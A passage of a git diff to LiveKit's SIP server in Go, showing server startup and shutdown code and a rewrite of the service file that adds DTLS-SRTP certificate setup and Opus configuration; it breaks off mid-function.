s.sipSrv.ServeTLS(lis); err != nil && !errors.Is(err, net.ErrClosed) { + panic(fmt.Errorf("SIP listen TLS error: %w", err)) + } + }() + return nil +} + +type RequestHandler func(req *sip.Request, tx sip.ServerTransaction) bool + +func (s *Server) wrapHandler(handler sipgo.RequestHandler) sipgo.RequestHandler { + ret := handler + for _, interceptor := range slices.Backward(s.interceptors) { + ret = interceptor(ret) + } + return ret +} + +func (s *Server) Start(agent *sipgo.UserAgent, sc *ServiceConfig, tlsConf *tls.Config, unhandled RequestHandler) error { + s.sconf = sc + s.log.Infow("server starting", "local", s.sconf.SignalingIPLocal, "external", s.sconf.SignalingIP) + + if agent == nil { + ua, err := sipgo.NewUA( + sipgo.WithUserAgent(UserAgent), + sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), + ) + if err != nil { + return err + } + agent = ua + } + + var err error + s.sipSrv, err = sipgo.NewServer(agent, + sipgo.WithServerLogger(slog.New(logger.ToSlogHandler(s.log))), + ) + if err != nil { + return err + } + + s.sipSrv.OnOptions(s.wrapHandler(s.onOptions)) + s.sipSrv.OnInvite(s.wrapHandler(s.onInvite)) + s.sipSrv.OnAck(s.wrapHandler(s.onAck)) + s.sipSrv.OnBye(s.wrapHandler(s.onBye)) + s.sipSrv.OnNotify(s.wrapHandler(s.onNotify)) + s.sipSrv.OnNoRoute(s.wrapHandler(s.OnNoRoute)) + s.sipUnhandled = unhandled + + listenIP := s.conf.ListenIP + if listenIP == "" { + listenIP = "0.0.0.0" + } + ip, err := netip.ParseAddr(listenIP) + if err != nil { + return err + } + addr := netip.AddrPortFrom(ip, uint16(s.conf.SIPPortListen)) + if err := s.startUDP(addr); err != nil { + return err + } + if err := s.startTCP(addr); err != nil { + return err + } + if tlsConf != nil && s.conf.TLS != nil { + tconf := s.conf.TLS + addrTLS := netip.AddrPortFrom(ip, uint16(tconf.ListenPort)) + if err := s.startTLS(addrTLS, tlsConf); err != nil { + return err + } + } + + return nil +} + +func (s *Server) Stop() { + ctx := context.Background() + s.closing.Break() + s.cmu.Lock() + calls := maps.Values(s.byLocalTag) + s.byLocalTag = make(map[LocalTag]*inboundCall) + s.cmu.Unlock() + for _, c := range calls { + c.Shutdown(ctx) + } + if s.sipSrv != nil { + _ = s.sipSrv.Close() + } + for _, l := range s.sipListeners { + _ = l.Close() + } +} + +func (s *Server) RegisterTransferSIPParticipant(sipCallID LocalTag, i *inboundCall) error { + return s.handler.RegisterTransferSIPParticipantTopic(string(sipCallID)) +} + +func (s *Server) DeregisterTransferSIPParticipant(sipCallID LocalTag) { + s.handler.DeregisterTransferSIPParticipantTopic(string(sipCallID)) +} diff --git a/pkg/sip/service.go b/pkg/sip/service.go index a28da2298..60220c0e2 100644 --- a/pkg/sip/service.go +++ b/pkg/sip/service.go @@ -1,596 +1,605 @@ -// Copyright 2023 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "context" - "crypto/tls" - "errors" - "fmt" - "io" - "log/slog" - "maps" - "net" - "net/netip" - "os" - "slices" - "strings" - "sync" - "sync/atomic" - "time" - - "github.com/livekit/sipgo/transport" - - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - "github.com/livekit/protocol/rpc" - "github.com/livekit/psrpc" - "github.com/livekit/sipgo" - - "github.com/livekit/sip/pkg/config" - siperrors "github.com/livekit/sip/pkg/errors" - "github.com/livekit/sip/pkg/stats" - "github.com/livekit/sip/version" -) - -type PendingTransfer struct { - CallID string - TransferTo string - - // TODO: record the transfer id here as soon as the transfer starts. It is - // only known inside the worker goroutine today, so a waiter that gives up - // before the outcome arrives reports a failure with no transfer id, and the - // caller cannot match it against the transfer in their logs. - Outcome atomic.Pointer[transferOutcome] - Done chan transferOutcome -} - -// transferOutcome is what a finished transfer reports back: the id it was -// recorded under, and how it ended. -type transferOutcome struct { - TransferID string - Err error -} - -type ServiceConfig struct { - SignalingIP netip.Addr - SignalingIPLocal netip.Addr - MediaIP netip.Addr -} - -type Service struct { - conf *config.Config - sconf *ServiceConfig - log logger.Logger - mon *stats.Monitor - cli *Client - srv *Server - closers []io.Closer - - mu sync.Mutex - pendingTransfers map[LocalTag]*PendingTransfer -} - -// GetStateHandler returns the per-call StateHandler that CallState forwards -// outgoing changes to. cloud builds typically return a handler that forks the -// stream to both the upstream RPC and local observability; the default -// non-cloud build returns NewRPCStateHandler(client). obs may be nil; initial -// is the SIPCallInfo that NewCallState will own immediately after. -type GetStateHandler func(projectID string, obs *rpc.SIPCallObservability, initial *livekit.SIPCallInfo) StateHandler - -func NewService(region string, conf *config.Config, mon *stats.Monitor, log logger.Logger, getStateHandler GetStateHandler, opts ...ServerOption) (*Service, error) { - if log == nil { - log = logger.GetLogger() - } - if conf.UDPMaxPayload > 0 { - transport.UDPMTUSize = conf.UDPMaxPayload - } - if conf.MediaTimeout <= 0 { - conf.MediaTimeout = defaultMediaTimeout - } - if conf.MediaTimeoutInitial <= 0 { - conf.MediaTimeoutInitial = defaultMediaTimeoutInitial - } - cli := NewClient(region, conf, log, mon, getStateHandler) - options := append([]ServerOption{WithClient(cli)}, opts...) - s := &Service{ - conf: conf, - log: log, - mon: mon, - cli: cli, - srv: NewServer(region, conf, log, mon, getStateHandler, options...), - pendingTransfers: make(map[LocalTag]*PendingTransfer), - } - var err error - s.sconf, err = GetServiceConfig(s.conf) - if err != nil { - return nil, err - } - - const placeholder = "${IP}" - if strings.Contains(s.conf.SIPHostname, placeholder) { - s.conf.SIPHostname = strings.ReplaceAll( - s.conf.SIPHostname, - placeholder, - strings.NewReplacer( - ".", "-", // IPv4 - "[", "", "]", "", ":", "-", // IPv6 - ).Replace(s.sconf.SignalingIP.String()), - ) - addr, err := net.ResolveIPAddr("tcp4", s.conf.SIPHostname) - if err != nil { - log.Errorw("cannot resolve node hostname", err, "hostname", s.conf.SIPHostname) - } else { - log.Infow("resolved node hostname", "hostname", s.conf.SIPHostname, "ip", addr.IP.String()) - } - } - if strings.ContainsAny(s.conf.SIPHostname, "$%{}[]:/| ") { - return nil, fmt.Errorf("invalid hostname: %q", s.conf.SIPHostname) - } - if s.conf.SIPHostname != "" { - log.Infow("using hostname", "hostname", s.conf.SIPHostname) - } - if s.conf.SIPRingingInterval < 1*time.Second || s.conf.SIPRingingInterval > 60*time.Second { - s.conf.SIPRingingInterval = 1 * time.Second - log.Infow("ringing interval", "seconds", s.conf.SIPRingingInterval) - } - return s, nil -} - -type ActiveCalls struct { - Inbound int - Outbound int - SampleIDs []string -} - -func (st ActiveCalls) Total() int { - return st.Outbound + st.Inbound -} - -func sampleMap[K comparable, V any](limit int, m map[K]V, sample func(v V) string) ([]string, int) { - total := len(m) - var out []string - for _, v := range m { - if s := sample(v); s != "" { - out = append(out, s) - } - limit-- - if limit <= 0 { - break - } - } - return out, total -} - -func (s *Service) ActiveCalls() ActiveCalls { - st := ActiveCalls{} - - s.cli.cmu.Lock() - samples, total := sampleMap(5, s.cli.activeCalls, func(v *outboundCall) string { - if v == nil || v.cc == nil { - return "" - } - return string(v.cc.id) - }) - st.Outbound = total - st.SampleIDs = append(st.SampleIDs, samples...) - s.cli.cmu.Unlock() - - s.srv.cmu.Lock() - samples, total = sampleMap(5, s.srv.byLocalTag, func(v *inboundCall) string { - if v == nil || v.cc == nil { - return "" - } - return string(v.cc.id) - }) - st.Inbound = total - st.SampleIDs = append(st.SampleIDs, samples...) - s.srv.cmu.Unlock() - - return st -} - -func (s *Service) Stop() { - s.cli.Stop() - s.srv.Stop() - s.mon.Stop() - for _, c := range s.closers { - _ = c.Close() - } -} - -func (s *Service) SetHandler(handler Handler) { - s.srv.SetHandler(handler) - s.cli.SetHandler(handler) -} - -func (s *Service) Start() error { - s.log.Debugw("starting sip service", "version", version.Version) - for name, enabled := range s.conf.Codecs { - if enabled { - s.log.Warnw("codec enabled", nil, "name", name) - } else { - s.log.Warnw("codec disabled", nil, "name", name) - } - } - DefaultCodecs().SetEnabledMap(s.conf.Codecs) - - if err := s.mon.Start(s.conf); err != nil { - return err - } - // The UA must be shared between the client and the server. - // Otherwise, the client will have to listen on a random port, which must then be forwarded. - // - // Routers are smart, they usually keep the UDP "session" open for a few moments, and may allow INVITE handshake - // to pass even without forwarding rules on the firewall. ut it will inevitably fail later on follow-up requests like BYE. - var opts = []sipgo.UserAgentOption{ - sipgo.WithUserAgent(UserAgent), - sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), - } - if tconf := s.conf.TCP; tconf != nil { - s.log.Debugw("configuring TCP dial port range", "start", tconf.DialPort.Start, "end", tconf.DialPort.End) - opts = append(opts, sipgo.WithUserAgentTCPConfig(&sipgo.TCPConfig{ - DialPorts: sipgo.PortRange{ - Min: tconf.DialPort.Start, - Max: tconf.DialPort.End, - }, - })) - } else { - s.log.Debugw("TCP config is nil") - } - var tlsConf *tls.Config - if tconf := s.conf.TLS; tconf != nil { - if len(tconf.Certs) == 0 { - return errors.New("TLS certificate required") - } - var certs []tls.Certificate - for _, c := range tconf.Certs { - cert, err := tls.LoadX509KeyPair(c.CertFile, c.KeyFile) - if err != nil { - return err - } - certs = append(certs, cert) - } - var keyLog io.Writer - if tconf.KeyLog != "" { - f, err := os.OpenFile(tconf.KeyLog, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600) - if err != nil { - return err - } - s.closers = append(s.closers, f) - keyLog = f - go func() { - ticker := time.NewTicker(30 * time.Second) - defer ticker.Stop() - for range ticker.C { - f.Sync() - } - }() - } - tlsConf = &tls.Config{ - NextProtos: tlsALPNProtocols(tconf.ALPNProtocols), - Certificates: certs, - KeyLogWriter: keyLog, - } - - if len(tconf.CipherSuites) > 0 { - suits, err := parseCipherSuites(s.log, tconf.CipherSuites) - if err != nil { - return err - } - tlsConf.CipherSuites = suits - } - if tconf.MinVersion != "" { - minVer, err := parseTLSVersion(tconf.MinVersion) - if err != nil { - return err - } - tlsConf.MinVersion = minVer - } - if tconf.MaxVersion != "" { - maxVer, err := parseTLSVersion(tconf.MaxVersion) - if err != nil { - return err - } - tlsConf.MaxVersion = maxVer - } - - ConfigureTLS(tlsConf) - opts = append(opts, sipgo.WithUserAgenTLSConfig(tlsConf)) - } - ua, err := sipgo.NewUA(opts...) - if err != nil { - return err - } - if err := s.cli.Start(ua, s.sconf); err != nil { - return err - } - // Server is responsible for answering all transactions. However, the client may also receive some (e.g. BYE). - // Thus, all unhandled transactions will be checked by the client. - if err := s.srv.Start(ua, s.sconf, tlsConf, s.cli.OnRequest); err != nil { - return err - } - s.log.Debugw("sip service ready") - return nil -} - -func (s *Service) CreateSIPParticipant(ctx context.Context, req *rpc.InternalCreateSIPParticipantRequest) (*rpc.InternalCreateSIPParticipantResponse, error) { - resp, err := s.cli.CreateSIPParticipant(ctx, req) - return resp, siperrors.ApplySIPStatus(err) -} - -func (s *Service) CreateSIPParticipantAffinity(ctx context.Context, req *rpc.InternalCreateSIPParticipantRequest) float32 { - if len(s.conf.SIPTrunkIds) > 0 && !slices.Contains(s.conf.SIPTrunkIds, req.GetSipTrunkId()) { - return 0 - } - active := float32(s.ActiveCalls().Total()) - if max := float32(s.conf.MaxActiveCalls); max > 0 { - if active >= max { - return 0 - } - return 1 - active/max - } - return 1 / (1 + active) -} - -func (s *Service) TransferSIPParticipant(ctx context.Context, req *rpc.InternalTransferSIPParticipantRequest) (*rpc.InternalTransferSIPParticipantResponse, error) { - resp, err := s.transferSIPParticipant(ctx, req) - if errors.Is(err, errTransferCallEnded) { - // Temporary: the call ended before the transfer completed, so the - // transfer did not succeed. This should be a failure, but for backward - // compatibility reasons, keeping this as a success for the time being, - // i.e. no error, but more details in the response. - s.log.Infow("transfer: call ended before it completed, reporting it in the response", - "callID", req.SipCallId, "transferTo", req.TransferTo, "transferID", resp.GetTransferId()) - return resp, nil - } - return resp, siperrors.ApplySIPStatus(err) -} - -func (s *Service) transferSIPParticipant(ctx context.Context, req *rpc.InternalTransferSIPParticipantRequest) (*rpc.InternalTransferSIPParticipantResponse, error) { - s.log.Infow("transferring SIP call", "callID", req.SipCallId, "transferTo", req.TransferTo) - - // Check if provider is internal and config is set before allowing transfer - if err := s.checkInternalProviderRequest(ctx, req.SipCallId); err != nil { - return transferResponse(transferOutcome{Err: err}), err - } - - pending, isNew := s.getOrCreatePendingTransfer(req.SipCallId, req.TransferTo) - if !isNew { - if pending.TransferTo != req.TransferTo { - err := psrpc.NewErrorf(psrpc.InvalidArgument, "call already being transferred elsewhere") - return transferResponse(transferOutcome{Err: err}), err - } - // Already transferred, resume wait - s.log.Debugw("repeated request for call transfer", "callID", req.SipCallId, "transferTo", req.TransferTo) - // TODO: Maybe just bump the psrpc timeout? It gets auto retried anyway internally. - } else { - // Initial transfer request for this call - timeout := req.RingingTimeout.AsDuration() - if timeout <= 0 { - // RingingTimeout is either specified by caller, or defaults to 30 seconds. - // This code should be pretty much unreachable. - timeout = 120 * time.Second - } - - go func() { - ctx, cdone := context.WithTimeout(context.WithoutCancel(ctx), timeout) - defer cdone() - - headers := maps.Clone(req.Headers) // shallow clone - string/string map. Needed to avoid mutating psrpc req - out := s.processParticipantTransfer(ctx, req.SipCallId, req.TransferTo, headers, req.PlayDialtone) - select { - case pending.Done <- out: - default: - s.log.Errorw("pending transfer received more than one error", out.Err, "callID", req.SipCallId, "transferTo", req.TransferTo) - } - pending.Outcome.Store(&out) - close(pending.Done) - - s.mu.Lock() - delete(s.pendingTransfers, LocalTag(req.SipCallId)) - s.mu.Unlock() - }() - } - - select { - case out := <-pending.Done: - if out.Err == nil { - // If there is more than one RPC call waiting on the result, - // this ensures we return the same outcome to all callers. - if pOut := pending.Outcome.Load(); pOut != nil { - out = *pOut - } - } - return transferResponse(out), out.Err - case <-ctx.Done(): - err := psrpc.NewError(psrpc.Canceled, ctx.Err()) - return transferResponse(transferOutcome{Err: err}), err - } -} - -// transferResponse adds more details to the outcome of a transfer. -func transferResponse(out transferOutcome) *rpc.InternalTransferSIPParticipantResponse { - resp := &rpc.InternalTransferSIPParticipantResponse{ - TransferId: out.TransferID, - Status: livekit.SIPTransferStatus_STS_TRANSFER_SUCCESSFUL, - Reason: livekit.SIPTransferReason_STR_COMPLETED, - } - if out.Err == nil { - return resp - } - resp.Status = livekit.SIPTransferStatus_STS_TRANSFER_FAILED - resp.Reason = livekit.SIPTransferReason_STR_UNSPECIFIED - - var sipStatus *livekit.SIPStatus - switch { - case errors.Is(out.Err, errTransferCallEnded): - resp.Reason = livekit.SIPTransferReason_STR_CALL_ENDED - case errors.Is(out.Err, errReferSubscriptionTerminated): - resp.Reason = livekit.SIPTransferReason_STR_SUBSCRIPTION_TERMINATED - case errors.As(out.Err, &sipStatus): - // The transferee, or its provider, answered with a final status. - resp.Reason = livekit.SIPTransferReason_STR_REJECTED - resp.SipStatus = sipStatus - case errors.Is(out.Err, context.DeadlineExceeded): - resp.Reason = livekit.SIPTransferReason_STR_RINGING_TIMEOUT - } - return resp -} - -func (s *Service) getOrCreatePendingTransfer(callID string, transferTo string) (*PendingTransfer, bool) { - s.mu.Lock() - defer s.mu.Unlock() - - keyCall := LocalTag(callID) - pending, ok := s.pendingTransfers[keyCall] - if ok { - return pending, false - } - - pending = &PendingTransfer{ - CallID: callID, - TransferTo: transferTo, - Done: make(chan transferOutcome, 1), - } - s.pendingTransfers[keyCall] = pending - return pending, true -} - -func (s *Service) processParticipantTransfer(ctx context.Context, callID string, transferTo string, headers map[string]string, dialtone bool) transferOutcome { - // Look for call both in client (outbound) and server (inbound) - s.cli.cmu.Lock() - out := s.cli.activeCalls[LocalTag(callID)] - s.cli.cmu.Unlock() - - if out != nil { - s.mon.TransferStarted(stats.Outbound) - transferID, err := out.transferCall(ctx, transferTo, headers, dialtone) - if err != nil { - s.mon.TransferFailed(stats.Outbound, extractTransferErrorReason(err), true) - return transferOutcome{TransferID: transferID, Err: err} - } - s.mon.TransferSucceeded(stats.Outbound) - return transferOutcome{TransferID: transferID} - } - - s.srv.cmu.Lock() - in := s.srv.byLocalTag[LocalTag(callID)] - s.srv.cmu.Unlock() - - if in != nil { - s.mon.TransferStarted(stats.Inbound) - transferID, err := in.transferCall(ctx, transferTo, headers, dialtone) - if err != nil { - s.mon.TransferFailed(stats.Inbound, extractTransferErrorReason(err), true) - return transferOutcome{TransferID: transferID, Err: err} - } - s.mon.TransferSucceeded(stats.Inbound) - return transferOutcome{TransferID: transferID} - } - - err := psrpc.NewErrorf(psrpc.NotFound, "unknown call") - s.mon.TransferFailed(stats.Inbound, "unknown_call", false) - return transferOutcome{Err: err} -} - -func (s *Service) checkInternalProviderRequest(ctx context.Context, callID string) error { - // Look for call both in client (outbound) and server (inbound) - s.cli.cmu.Lock() - out := s.cli.activeCalls[LocalTag(callID)] - s.cli.cmu.Unlock() - - if out != nil { - return s.validateCallProvider(out.state) - } - - s.srv.cmu.Lock() - in := s.srv.byLocalTag[LocalTag(callID)] - s.srv.cmu.Unlock() - - if in != nil { - return s.validateCallProvider(in.state) - } - - return psrpc.NewErrorf(psrpc.NotFound, "unknown call") -} - -func (s *Service) validateCallProvider(state *CallState) error { - info := state.Info() - if state == nil || info == nil || info.ProviderInfo == nil { - return nil // No provider info to validate - } - - // Check if provider is internal and prevent transfer is enabled - if info.ProviderInfo.Type == livekit.ProviderType_PROVIDER_TYPE_INTERNAL && info.ProviderInfo.PreventTransfer { - return psrpc.NewErrorf(psrpc.Unimplemented, "we don't yet support transfers for this phone number type") - } - - return nil -} - -// extractTransferErrorReason extracts a user-friendly reason string from an error -func extractTransferErrorReason(err error) string { - if err == nil { - return "unknown" - } - - // Check for livekit.SIPStatus errors first - var sipStatus *livekit.SIPStatus - if errors.As(err, &sipStatus) { - // Use ShortName() to get the status code name without "SIP_STATUS_" prefix - // and convert to lowercase for metric labels - return strings.ToLower(sipStatus.Code.ShortName()) - } - - // Transfer outcomes the bridge decides itself. They carry no SIP status, so - // the switch below would report them all as psrpc_error. - if errors.Is(err, errTransferCallEnded) { - return "call_ended" - } - if errors.Is(err, errReferSubscriptionTerminated) { - return "refer_terminated" - } - - // Check for psrpc errors - var psrpcErr psrpc.Error - if errors.As(err, &psrpcErr) { - switch psrpcErr.Code() { - case psrpc.NotFound: - return "not_found" - case psrpc.Canceled: - return "canceled" - case psrpc.DeadlineExceeded: - return "timeout" - case psrpc.InvalidArgument: - return "invalid_argument" - case psrpc.Internal: - return "internal_error" - default: - return "psrpc_error" - } - } - - // Check for context errors - if errors.Is(err, context.Canceled) { - return "canceled" - } - if errors.Is(err, context.DeadlineExceeded) { - return "timeout" - } - - // Return "other" for unknown errors - return "other" -} +// Copyright 2023 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "context" + "crypto/tls" + "errors" + "fmt" + "io" + "log/slog" + "maps" + "net" + "net/netip" + "os" + "slices" + "strings" + "sync" + "sync/atomic" + "time" + + "github.com/livekit/sipgo/transport" + + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + "github.com/livekit/protocol/rpc" + "github.com/livekit/psrpc" + "github.com/livekit/sipgo" + + "github.com/livekit/sip/pkg/config" + siperrors "github.com/livekit/sip/pkg/errors" + "github.com/livekit/sip/pkg/stats" + "github.com/livekit/sip/version" +) + +type PendingTransfer struct { + CallID string + TransferTo string + + // TODO: record the transfer id here as soon as the transfer starts. It is + // only known inside the worker goroutine today, so a waiter that gives up + // before the outcome arrives reports a failure with no transfer id, and the + // caller cannot match it against the transfer in their logs. + Outcome atomic.Pointer[transferOutcome] + Done chan transferOutcome +} + +// transferOutcome is what a finished transfer reports back: the id it was +// recorded under, and how it ended. +type transferOutcome struct { + TransferID string + Err error +} + +type ServiceConfig struct { + SignalingIP netip.Addr + SignalingIPLocal netip.Addr + MediaIP netip.Addr +} + +type Service struct { + conf *config.Config + sconf *ServiceConfig + log logger.Logger + mon *stats.Monitor + cli *Client + srv *Server + closers []io.Closer + + mu sync.Mutex + pendingTransfers map[LocalTag]*PendingTransfer +} + +// GetStateHandler returns the per-call StateHandler that CallState forwards +// outgoing changes to. cloud builds typically return a handler that forks the +// stream to both the upstream RPC and local observability; the default +// non-cloud build returns NewRPCStateHandler(client). obs may be nil; initial +// is the SIPCallInfo that NewCallState will own immediately after. +type GetStateHandler func(projectID string, obs *rpc.SIPCallObservability, initial *livekit.SIPCallInfo) StateHandler + +func NewService(region string, conf *config.Config, mon *stats.Monitor, log logger.Logger, getStateHandler GetStateHandler, opts ...ServerOption) (*Service, error) { + if log == nil { + log = logger.GetLogger() + } + if conf.UDPMaxPayload > 0 { + transport.UDPMTUSize = conf.UDPMaxPayload + } + if conf.MediaTimeout <= 0 { + conf.MediaTimeout = defaultMediaTimeout + } + if conf.MediaTimeoutInitial <= 0 { + conf.MediaTimeoutInitial = defaultMediaTimeoutInitial + } + var dtlsCert *dtlsCertificate + if conf.DTLSSRTP.Enabled { + var err error + dtlsCert, err = newDTLSCertificate() + if err != nil { + return nil, fmt.Errorf("create DTLS-SRTP certificate: %w", err) + } + } + cli := NewClient(region, conf, log, mon, getStateHandler) + options := append([]ServerOption{WithClient(cli), WithDTLSSRTPCertificate(dtlsCert)}, opts...) + s := &Service{ + conf: conf, + log: log, + mon: mon, + cli: cli, + srv: NewServer(region, conf, log, mon, getStateHandler, options...), + pendingTransfers: make(map[LocalTag]*PendingTransfer), + } + var err error + s.sconf, err = GetServiceConfig(s.conf) + if err != nil { + return nil, err + } + + const placeholder = "${IP}" + if strings.Contains(s.conf.SIPHostname, placeholder) { + s.conf.SIPHostname = strings.ReplaceAll( + s.conf.SIPHostname, + placeholder, + strings.NewReplacer( + ".", "-", // IPv4 + "[", "", "]", "", ":", "-", // IPv6 + ).Replace(s.sconf.SignalingIP.String()), + ) + addr, err := net.ResolveIPAddr("tcp4", s.conf.SIPHostname) + if err != nil { + log.Errorw("cannot resolve node hostname", err, "hostname", s.conf.SIPHostname) + } else { + log.Infow("resolved node hostname", "hostname", s.conf.SIPHostname, "ip", addr.IP.String()) + } + } + if strings.ContainsAny(s.conf.SIPHostname, "$%{}[]:/| ") { + return nil, fmt.Errorf("invalid hostname: %q", s.conf.SIPHostname) + } + if s.conf.SIPHostname != "" { + log.Infow("using hostname", "hostname", s.conf.SIPHostname) + } + if s.conf.SIPRingingInterval < 1*time.Second || s.conf.SIPRingingInterval > 60*time.Second { + s.conf.SIPRingingInterval = 1 * time.Second + log.Infow("ringing interval", "seconds", s.conf.SIPRingingInterval) + } + return s, nil +} + +type ActiveCalls struct { + Inbound int + Outbound int + SampleIDs []string +} + +func (st ActiveCalls) Total() int { + return st.Outbound + st.Inbound +} + +func sampleMap[K comparable, V any](limit int, m map[K]V, sample func(v V) string) ([]string, int) { + total := len(m) + var out []string + for _, v := range m { + if s := sample(v); s != "" { + out = append(out, s) + } + limit-- + if limit <= 0 { + break + } + } + return out, total +} + +func (s *Service) ActiveCalls() ActiveCalls { + st := ActiveCalls{} + + s.cli.cmu.Lock() + samples, total := sampleMap(5, s.cli.activeCalls, func(v *outboundCall) string { + if v == nil || v.cc == nil { + return "" + } + return string(v.cc.id) + }) + st.Outbound = total + st.SampleIDs = append(st.SampleIDs, samples...) + s.cli.cmu.Unlock() + + s.srv.cmu.Lock() + samples, total = sampleMap(5, s.srv.byLocalTag, func(v *inboundCall) string { + if v == nil || v.cc == nil { + return "" + } + return string(v.cc.id) + }) + st.Inbound = total + st.SampleIDs = append(st.SampleIDs, samples...) + s.srv.cmu.Unlock() + + return st +} + +func (s *Service) Stop() { + s.cli.Stop() + s.srv.Stop() + s.mon.Stop() + for _, c := range s.closers { + _ = c.Close() + } +} + +func (s *Service) SetHandler(handler Handler) { + s.srv.SetHandler(handler) + s.cli.SetHandler(handler) +} + +func (s *Service) Start() error { + s.log.Debugw("starting sip service", "version", version.Version) + for name, enabled := range s.conf.Codecs { + if enabled { + s.log.Warnw("codec enabled", nil, "name", name) + } else { + s.log.Warnw("codec disabled", nil, "name", name) + } + } + DefaultCodecs().SetEnabledMap(s.conf.Codecs) + SetOpusEnabled(s.conf.EnableOpus) + + if err := s.mon.Start(s.conf); err != nil { + return err + } + // The UA must be shared between the client and the server. + // Otherwise, the client will have to listen on a random port, which must then be forwarded. + // + // Routers are smart, they usually keep the UDP "session" open for a few moments, and may allow INVITE handshake + // to pass even without forwarding rules on the firewall. ut it will inevitably fail later on follow-up requests like BYE. + var opts = []sipgo.UserAgentOption{ + sipgo.WithUserAgent(UserAgent), + sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), + } + if tconf := s.conf.TCP; tconf != nil { + s.log.Debugw("configuring TCP dial port range", "start", tconf.DialPort.Start, "end", tconf.DialPort.End) + opts = append(opts, sipgo.WithUserAgentTCPConfig(&sipgo.TCPConfig{ + DialPorts: sipgo.PortRange{ + Min: tconf.DialPort.Start, + Max: tconf.DialPort.End, + }, + })) + } else { + s.log.Debugw("TCP config is nil") + } + var tlsConf *tls.Config + if tconf := s.conf.TLS; tconf != nil { + if len(tconf.Certs) == 0 { + return errors.New("TLS certificate required") + } + var certs []tls.Certificate + for _, c := range tconf.Certs { + cert, err := tls.LoadX509KeyPair(c.CertFile, c.KeyFile) + if err != nil { + return err + } + certs = append(certs, cert) + } + var keyLog io.Writer + if tconf.KeyLog != "" { + f, err := os.OpenFile(tconf.KeyLog, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600) + if err != nil { + return err + } + s.closers = append(s.closers, f) + keyLog = f + go func() { + ticker := time.NewTicker(30 * time.Second) + defer ticker.Stop() + for range ticker.C { + f.Sync() + } + }() + } + tlsConf = &tls.Config{ + NextProtos: tlsALPNProtocols(tconf.ALPNProtocols), + Certificates: certs, + KeyLogWriter: keyLog, + } + + if len(tconf.CipherSuites) > 0 { + suits, err := parseCipherSuites(s.log, tconf.CipherSuites) + if err != nil { + return err + } + tlsConf.CipherSuites = suits + } + if tconf.MinVersion != "" { + minVer, err := parseTLSVersion(tconf.MinVersion) + if err != nil { + return err + } + tlsConf.MinVersion = minVer + } + if tconf.MaxVersion != "" { + maxVer, err := parseTLSVersion(tconf.MaxVersion) + if err != nil { + return err + } + tlsConf.MaxVersion = maxVer + } + + ConfigureTLS(tlsConf) + opts = append(opts, sipgo.WithUserAgenTLSConfig(tlsConf)) + } + ua, err := sipgo.NewUA(opts...) + if err != nil { + return err + } + if err := s.cli.Start(ua, s.sconf); err != nil { + return err + } + // Server is responsible for answering all transactions. However, the client may also receive some (e.g. BYE). + // Thus, all unhandled transactions will be checked by the client. + if err := s.srv.Start(ua, s.sconf, tlsConf, s.cli.OnRequest); err != nil { + return err + } + s.log.Debugw("sip service ready") + return nil +} + +func (s *Service) CreateSIPParticipant(ctx context.Context, req *rpc.InternalCreateSIPParticipantRequest) (*rpc.InternalCreateSIPParticipantResponse, error) { + resp, err := s.cli.CreateSIPParticipant(ctx, req) + return resp, siperrors.ApplySIPStatus(err) +} + +func (s *Service) CreateSIPParticipantAffinity(ctx context.Context, req *rpc.InternalCreateSIPParticipantRequest) float32 { + if len(s.conf.SIPTrunkIds) > 0 && !slices.Contains(s.conf.SIPTrunkIds, req.GetSipTrunkId()) { + return 0 + } + active := float32(s.ActiveCalls().Total()) + if max := float32(s.conf.MaxActiveCalls); max > 0 { + if active >= max { + return 0 + } + return 1 - active/max + } + return 1 / (1 + active) +} + +func (s *Service) TransferSIPParticipant(ctx context.Context, req *rpc.InternalTransferSIPParticipantRequest) (*rpc.InternalTransferSIPParticipantResponse, error) { + resp, err := s.transferSIPParticipant(ctx, req) + if errors.Is(err, errTransferCallEnded) { + // Temporary: the call ended before the transfer completed, so the + // transfer did not succeed. This should be a failure, but for backward + // compatibility reasons, keeping this as a success for the time being, + // i.e. no error, but more details in the response. + s.log.Infow("transfer: call ended before it completed, reporting it in the response", + "callID", req.SipCallId, "transferTo", req.TransferTo, "transferID", resp.GetTransferId()) + return resp, nil + } + return resp, siperrors.ApplySIPStatus(err) +} + +func (s *Service) transferSIPParticipant(ctx context.Context, req *rpc.InternalTransferSIPParticipantRequest) (*rpc.InternalTransferSIPParticipantResponse, error) { + s.log.Infow("transferring SIP call", "callID", req.SipCallId, "transferTo", req.TransferTo) + + // Check if provider is internal and config is set before allowing transfer + if err := s.checkInternalProviderRequest(ctx, req.SipCallId); err != nil { + return transferResponse(transferOutcome{Err: err}), err + } + + pending, isNew := s.getOrCreatePendingTransfer(req.SipCallId, req.TransferTo) + if !isNew { + if pending.TransferTo != req.TransferTo { + err := psrpc.NewErrorf(psrpc.InvalidArgument, "call already being transferred elsewhere") + return transferResponse(transferOutcome{Err: err}), err + } + // Already transferred, resume wait + s.log.Debugw("repeated request for call transfer", "callID", req.SipCallId, "transferTo", req.TransferTo) + // TODO: Maybe just bump the psrpc timeout? It gets auto retried anyway internally. + } else { + // Initial transfer request for this call + timeout := req.RingingTimeout.AsDuration() + if timeout <= 0 { + // RingingTimeout is either specified by caller, or defaults to 30 seconds. + // This code should be pretty much unreachable. + timeout = 120 * time.Second + } + + go func() { + ctx, cdone := 